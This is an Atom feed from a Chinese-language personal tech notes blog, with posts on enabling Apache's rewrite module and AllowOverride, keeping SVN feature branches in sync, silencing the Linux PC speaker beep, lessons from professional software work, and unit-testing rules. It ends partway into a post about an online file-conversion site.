<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2019105187187135566</id><updated>2024-09-14T06:10:47.325-07:00</updated><category term="web"/><category term="[else]"/><category term="專題"/><category term="OS"/><category term="cloud computing"/><category term="c#"/><category term="軟體開發"/><category term="電腦網路"/><category term="linux"/><category term="compiler"/><category term="車載"/><category term="MFC"/><category term="Software Engineer"/><category term="java"/><category term="p2p"/><category term="sp"/><category term="財商"/><category term="Computer Organization"/><category term="Game Dev"/><category term="Image processing"/><category term="PL"/><category term="Virtual Machine"/><category term="影片"/><category term="軟體測試"/><title type='text'>WEWE x 知識 x 學習 x 筆記</title><subtitle type='html'>用以記錄我在專業知識、財務知識以及其他想學的東西的筆記</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>117</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-1311633547846669382</id><published>2012-08-02T03:37:00.000-07:00</published><updated>2012-08-02T03:49:58.382-07:00</updated><title type='text'>Ubuntu apache2 enable rewrite module and setting AllowOverride</title><content type='html'>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
今天下午在設定 apache 伺服器 rewrite module 的時候遇到了一些問題。花了一兩個小時才找到問題，這問題以前應該解過，只是很就沒碰就忘了，所以把他記錄下來。最近在用CodeIgniter(CI) 這套 php framework需要用到 rewrite module來改寫Requst Uri。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
我原本以為只要下指令Load rewrite module 再重開 apache 就好了&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;color: #444444;&quot;&gt;sudo a2enmod rewrite&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;color: #444444;&quot;&gt;sudo /etc/init.d/apache2 restart&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
殊不知，啟動後沒有效果，試了很多方式，發現我有個最基本的設定沒有改動，也就是 apache 設定的AllowOverride這個參數需要設定，但這個參數老實說我也不太了解，趁這個機會了解一下好了。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
通常我們會將rewrite rule寫在 .htaccess這個檔案中，但好死不死 AllowOverride這個參數就是在控制 .htaccess 這個檔案中寫的設定值，可否覆蓋掉 apache 設定檔中設定的值，所以需要對這個參數做設定。這個參數的設定也跟安全性有關。以下列出可能的設定值與其意義。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;All&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;&amp;nbsp; &amp;nbsp; 全允許&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;AuthConfig&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;允許覆蓋認證相關的設定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;FileInfo&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;允許覆蓋文件相關的設定(包含rewrite module, mime module的相關設定)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;其他還有 Indexes,&amp;nbsp;Limit,&amp;nbsp;Options[=Option,...] 詳細內容可以參考&amp;nbsp;&lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride&quot;&gt;http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
我只需要設定 AollowOverride FileInfo 就可以.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;color: #444444;&quot;&gt;vim /etc/apache2/sites-enabled/000-default&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;AollowOverride None&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
改成&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;AoolowOverride FileInfo&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
其實這個設定還有.htacces設定後子目錄相關的問題，有點懶，這裡就不探討了。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/1311633547846669382/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2012/08/ubuntu-apache2-enable-rewrite-module.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/1311633547846669382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/1311633547846669382'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2012/08/ubuntu-apache2-enable-rewrite-module.html' title='Ubuntu apache2 enable rewrite module and setting AllowOverride'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-2795433460477045382</id><published>2012-05-15T02:44:00.000-07:00</published><updated>2012-08-01T20:07:47.368-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Software Engineer"/><category scheme="http://www.blogger.com/atom/ns#" term="軟體開發"/><title type='text'>SVN :Keep your feature branch up to date</title><content type='html'>&lt;b&gt;&amp;nbsp;前言&lt;/b&gt;&lt;br /&gt;
在我工作的團隊中，幾個月前我們改變了我們使用svn的方法，加入了feature branch的概念，就是每開發一個新的功能就需要從主幹開一個branch出來做開發，以免開發中的功能影響到其他人的作業(bug fix ...)。我們在改變規則的時候討論了很多次，原本以為規則已經很OK了。殊不知，才是惡夢的開始。&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;老舊的branch&lt;/b&gt;&lt;br /&gt;
有些功能branch分出來之後，此功能可能初步開發完成，尚未測試完成。但因為專案時程與需求變動的關係，導致這個功能的優先順序降低，所以不能跟著下次的release出去，且被assign更緊急的工作，這個feature branch 從主幹分出來太久，之後要merge回主幹可能會有一大堆衝突與問題。而你也沒辦法保證被svn auto merge後的結果一定是正確的，這個時候問題就來了。&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;如何解決老舊的feature branch?&lt;/b&gt;&lt;br /&gt;
我找了一些資料，這篇stackoverflow上是跟我一樣的問題&lt;a href=&quot;http://stackoverflow.com/questions/570071/subversion-branch-trunk-best-practice-keeping-branch-up-to-date&quot; target=&quot;_blank&quot;&gt;Subversion Branch/Trunk Best Practice - keeping Branch Up-to-Date?&lt;/a&gt;，其中提到的我覺得OK的做法有幾點:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;常常把主幹的code merge到你的feature branch，也就是說常常更新你的feature branch，就像每次開發前要update code一樣(好像有點爛，不過這好像已經是最好的辦法了&lt;/li&gt;
&lt;li&gt;主動教你的團隊如何把code merge做好，且誰做更動的就應該由更動的人做merge的動作&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
我也覺得要常常更新feature branch，但為時已晚ㄎㄎ，我還是需要merge一大堆change，解決一大堆衝突，慘兮兮。既然都要做了順便提一下如何&amp;nbsp;Keep your feature branch up to date.&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;有人有更好的辦法歡迎留言告訴我。&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Keep your feature branch up to date.&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
SV作法其實很簡單，就是把主幹merge到branche就好。&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://chestofbooks.com/computers/revision-control/subversion-svn/Keeping-A-Branch-In-Sync-Branchemerge-Basicmerging-Stayinsyn.html&quot; target=&quot;_blank&quot;&gt;Keeping a Branch in Sync&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://svnbook.red-bean.com/en/1.7/svn.branchmerge.basicmerging.html&quot; target=&quot;_blank&quot;&gt;Svn book - Branching and Merging&lt;/a&gt;&amp;nbsp;&amp;gt;&amp;nbsp;Keeping a Branch in Sync Without Merge Tracking&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://wiki.fluidproject.org/display/fluid/Subversion+Tips+and+Tricks&quot; target=&quot;_blank&quot;&gt;Subversion Tips and Tricks&lt;/a&gt;&amp;nbsp;&amp;gt; Keeping your branch from getting crusty&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
這幾篇的做法都差不多&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;svn co your-branch&lt;/li&gt;
&lt;li&gt;cd&amp;nbsp;
your-branch&amp;nbsp;&lt;/li&gt;
&lt;li&gt;svn log --stop-on-copy 找出你當初branch 出來的revsion number (這裡假設是X)&lt;/li&gt;
&lt;li&gt;svn merge -r X:HEAD &amp;nbsp;your-trunk&lt;/li&gt;
&lt;li&gt;如果有衝突，解決他&lt;/li&gt;
&lt;li&gt;不想出事，最好記得跑測試&lt;/li&gt;
&lt;li&gt;svn ci&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
看到我的29個衝突，有點想逃避。&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/2795433460477045382/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2012/05/svn-keep-your-feature-branch-up-to-date.html#comment-form' title='3 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/2795433460477045382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/2795433460477045382'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2012/05/svn-keep-your-feature-branch-up-to-date.html' title='SVN :Keep your feature branch up to date'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-4584988987820821511</id><published>2012-03-26T02:38:00.002-07:00</published><updated>2013-08-27T22:50:47.509-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>[linux]關掉惱人的 警告音</title><content type='html'>&lt;br /&gt;
最近在辦公室用centos寫code，&lt;br /&gt;
常常在用tab 補齊指令時，找不到東西就逼逼叫&lt;br /&gt;
很吵，所以就去找了一下怎麼處理想不到意外的簡單&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;pcspkr (PC speaker)&lt;/pre&gt;
&lt;pre&gt;這個是一個kernel module預設會載入，用來控制那個主機板上機歪的警示音撥放器&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre style=&quot;color: red;&quot;&gt;記得要切換成root權限 &lt;/pre&gt;
&lt;pre&gt;使用lsmod確認你的這個module是否有被載入(有被載入才會叫)
&lt;/pre&gt;
&lt;pre class=&quot;brush:bash&quot; name=&quot;code&quot;&gt;lsmod | grep pcspkr&lt;/pre&gt;
&lt;pre&gt;&lt;/pre&gt;
使用rmmod卸載那個module&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:shell&quot; name=&quot;code&quot;&gt;rmmod pcspkr&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
就OK了&lt;br /&gt;
&lt;br /&gt;
如果想在以後開機後都不要讓他載入就編輯&lt;br /&gt;
&lt;pre&gt;/etc/modprobe.d/blacklist&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;在這個檔案加入&lt;/pre&gt;
&lt;pre&gt;blacklist pcspkr&lt;/pre&gt;
&lt;pre&gt;把pcspkr加入黑名單，以後在開機時就不會被載入了 &lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
參考網址: http://thedaneshproject.com/posts/how-to-disable-the-beep-in-linux/</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/4584988987820821511/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2012/03/linux.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/4584988987820821511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/4584988987820821511'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2012/03/linux.html' title='[linux]關掉惱人的 警告音'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-3737621399048333791</id><published>2012-03-04T02:56:00.001-08:00</published><updated>2012-03-04T02:57:29.825-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="軟體開發"/><title type='text'>工作後寫程式的收穫</title><content type='html'>&amp;nbsp; &amp;nbsp; 這三個月下來，從中心同事的身上學到不少東西，這些都是他們累積下來的經驗，讓我收穫良多，謝謝他們。工作已經將近三個月，有很多的心得，職場、寫程式都有不少心得，今天先從程式談起好了，以前在學校無論是寫作業，接case，算一算也寫了不少程式，但真正工作寫大型的軟體後。發現產品跟之前寫的程式完全不一樣，要考慮的事情也多了很多，我從程式的設計、開發、測試三個部份來說好了。&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;設計&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&amp;nbsp; 之前寫程式雖然知道事前的設計很重要，但都是粗略的想一下就著手進行開發了，往往在開發完成要使用的時候遇到需要改很大的問題，額外又多花很多時間修改。看書上寫多多紙上談兵，設計的修改往往比成式的修改省時，但那時沒甚麼感想。現在外面工作之後，才真正在實務上遇到，我們花很多時間在討論新的功能如何實做，以及會遇到各式各樣的問題都事先預想，怎樣跟其他組整合才不會影響到原本的功能，甚至討論到快吵起來。不過最後討論出來的東西雖然稱不上完美，但也非常好了。而且在我們的team中，大家的設計都是往right things to do 的方向想，也會兼顧目前的時程，我覺得非常的好。有非常多的人事物值得我學習。&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;開發前多想一點多考慮一點，以後的修改與錯誤就少一點。&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;開發&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
開發的部分也有很多跟以往經驗不同的地方，最讓我印想深刻的就程式的容錯性，因為我們開發的是儲存系統，上面儲存的的是重要的資料，所以容錯性非常重要，在這常常需要考慮到，系統crash後再啟動，資料是否能正確的被保留下來，系統是否能正常運作，在這個部份我是完全的新手。但在我們組內，每個人開發都會考慮到容錯性，還有錯誤還原等問題，這是我不足的地方，也是我在這裡努力的方向。程式的效能也是一大的考量，之前再開發教學網站就有預到類似的問題了，這種問題處理起來也蠻累人的。在工作之後，這個問題也是每天會討論到的問題，希望在這裡可以學到這方面的經驗。不過在這邊的開發也有一些問題，文件的不足(我之前想到公司學的就是開發的文件化)，由於我們中心也才成立第三年，很多流程制度等也還不夠成熟，很多都是藉由大家的努力持續在改善中，文件我想過一陣子開發的進度不那麼忙的時候就會被注意到了，到時候就做中學吧。還有一個很大的不同，就是以前很少開發multi-thresad的程式，這邊幾乎都是，所以在除錯上的困難度對我來說很高，我有找一個同步問題找一個禮拜的經驗= =，找到快發瘋，而且每次測試幾乎都是沒問題，只有幾次重現問題的機會，我發覺這部分的經驗很重要，也是一個學習的目標。&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;容錯、效率、同步都是在開發中重要的考慮點。&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;測試&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
這個部份就是我之前一直想學，一直想加入自己開發程式的流程中的部分，我剛進中心的工作就是寫測試，測試也是一門學問阿。雖然在這邊不是TDD，所有的測試幾乎是在程式寫完後，或完成前寫的。不過同事們也一直強調程式在commit之前一定要經過測試，最近我們還訂了一些規則，用了CI的工具，確保我們出去的程式都是被測試過的，這部分就跟我以前在學校很不同，這裡寫的程式幾乎都要有unit test , functional test , feature test等，不過我還蠻想試試TDD的，希望以後有機會。&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;齊全完整的測試才能有好的程式。&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
在真正工作後，有很多的感觸與感想，發現需要學的東西還有一大堆，慢慢來吧!&lt;/div&gt;
&lt;div&gt;
之後有機會在慢慢記錄下來。&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/3737621399048333791/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2012/03/blog-post.html#comment-form' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/3737621399048333791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/3737621399048333791'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2012/03/blog-post.html' title='工作後寫程式的收穫'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-642383054029756340</id><published>2011-12-25T22:11:00.000-08:00</published><updated>2012-01-19T17:55:30.920-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="軟體測試"/><title type='text'>[Unit test note] 哪寫東西不算單元測試</title><content type='html'>最近在學習unit &amp;nbsp;test如何撰寫&lt;br /&gt;
所以上google找了一些資料&lt;br /&gt;
看到一篇文章&lt;br /&gt;

&lt;a href=&quot;http://www.artima.com/weblogs/viewpost.jsp?thread=126923&quot;&gt;http://www.artima.com/weblogs/viewpost.jsp?thread=126923&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;A Set of Unit Testing Rules &amp;nbsp;-&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;&amp;nbsp;Michael Feathers&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;作者在文章中提到幾點不能被稱作unit test的測試&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;It talks to the database&lt;/span&gt;&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;與資料庫連接&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;測試之中需要對資料庫做讀寫查詢的動作&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;It communicates across the network&lt;/span&gt;&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;測試之間透過網路對談&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;測試之中元件的溝通需要透過網路&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;It touches the file system&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;使用到檔案系統&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;測試之中需要做檔案的讀寫存取&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;It can&#39;t run at the same time as any of your other unit tests&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;不能與其他的單元測試同時執行&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;單元測試之間無法獨立執行&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: 18px;&quot;&gt;you have to do special things to your environment (such as editing config files to run it)&lt;/span&gt;&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;在測試時必須作特殊的設定&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;每次測試都需要做特殊的設定&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;以上作者提到的點，雖然不是不應該測試，但是在Unit test中，重要的目的是，獨立力測試各個元件的正確性，與其是否達到目的。所以對於資料庫、網路、檔案系統的操作應該需要被獨立在測試外，由整合測時時來做測試，才可以確保測試真正個核心是在元件本身，也就是說可以獨立問題的所在。舉例來說，對於需要讀寫檔案做處理的原件，如果單元測試出錯，又沒有把檔案的操作獨立，這樣的一來單元測試無法幫助你分辨是你的元件出錯或是檔案的讀寫出錯，這樣單元測試的幫助就不大。假如你有利用Mock object的技術把與元件與外部元件的操作獨立，這樣一來就能較精確地抓住問題所在。&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #212324; font-family: Arial, Helvetica, sans-serif; font-size: medium;&quot;&gt;所以今天的結論是，單元測試，必須確定測試的是元件的邏輯，是獨立的測試，必須將與其他元件的溝通切的乾淨清楚，才能有效的對元件做獨立的單元測試，幫助找到正確的問題，至於如何把元件之前的溝通切的乾淨清楚，又是另一個課題了。&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/642383054029756340/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/12/unit-test-note.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/642383054029756340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/642383054029756340'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/12/unit-test-note.html' title='[Unit test note] 哪寫東西不算單元測試'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-8423504184147341980</id><published>2011-10-17T08:54:00.000-07:00</published><updated>2012-01-19T18:44:32.089-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>線上轉檔網站 問與答</title><content type='html'>最近想要試做一個 語音轉文字的小程式&lt;br /&gt;
&lt;br /&gt;
流程 -&amp;gt; 上傳錄音檔案-&amp;gt;利用線上的語音辨識API-&amp;gt;辨識出文字並回傳&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
我找到了google的語音辨識api ((chromium 瀏覽器 speech input程式中找到的)&lt;br /&gt;
但她只接收 flac的音檔格式&lt;br /&gt;
所以需要再找轉檔的api&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
找到了 一個線上轉檔的網站&lt;br /&gt;
http://www.online-convert.com&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
